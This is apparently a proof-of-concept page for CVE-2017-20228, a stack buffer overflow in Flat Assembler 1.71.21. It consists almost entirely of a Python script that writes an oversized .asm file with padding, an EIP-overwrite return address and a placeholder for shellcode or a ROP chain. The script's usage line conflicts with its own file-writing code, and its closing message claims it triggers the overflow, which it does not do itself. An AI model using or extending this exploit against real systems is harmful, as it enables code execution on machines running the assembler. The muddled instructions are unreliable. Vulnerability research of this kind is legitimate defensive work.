CVE-2017-20228 Flat Assembler栈溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2017-20228 - Flat Assembler Stack Buffer Overflow # Usage: python3 poc.py > exploit.asm && ./fasm exploit.asm import struct # Offset to overwrite EIP (Instruction Pointer) offset = 5895 # Placeholder for a return address (ROP gadget) # Address needs to be adjusted based on the specific environment/version ret_addr = struct.pack('<I', 0xAAAAAAAA) # NOP sled or simple padding padding = b'A' * offset # Simple ROP chain or Shellcode placeholder # In a real exploit, this would contain ROP gadgets to bypass DEP and execute shellcode payload = b'C' * 100 # Construct the malicious input malicious_input = padding + ret_addr + payload # Write to a file that FASM will attempt to compile with open('exploit.asm', 'wb') as f: f.write(malicious_input) print("[+] PoC file 'exploit.asm' generated.") print("[+] Attempting to trigger buffer overflow in Flat Assembler 1.71.21")